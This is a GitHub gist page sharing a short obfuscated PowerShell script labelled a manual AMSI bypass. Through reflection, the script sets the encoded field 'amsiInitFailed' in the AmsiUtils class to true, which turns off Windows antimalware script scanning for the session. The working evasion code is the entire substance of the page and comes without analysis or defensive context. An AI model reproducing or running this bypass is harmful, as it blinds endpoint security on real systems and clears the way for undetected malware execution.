Skip to content

Instantly share code, notes, and snippets.

@chr0n1k

chr0n1k/AMSI_Bypass.ps1

Last active October 29, 2020 06:50
Show Gist options
  • Save chr0n1k/cb0cb10e3bf37e0d2c060d3fcad343b6 to your computer and use it in GitHub Desktop.
Save chr0n1k/cb0cb10e3bf37e0d2c060d3fcad343b6 to your computer and use it in GitHub Desktop.
Download ZIP
Manual AMSI Bypass Technique by Norbert Tihanyi
Raw
AMSI_Bypass.ps1
$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUt'+'ils')
$h="4456625220575263174452554847"
$s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " "
$b =$a.GetField($s,'NonPublic,Static')
$b.SetValue($null,$true)
@chr0n1k
Copy link
Author

chr0n1k commented Jul 1, 2020

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment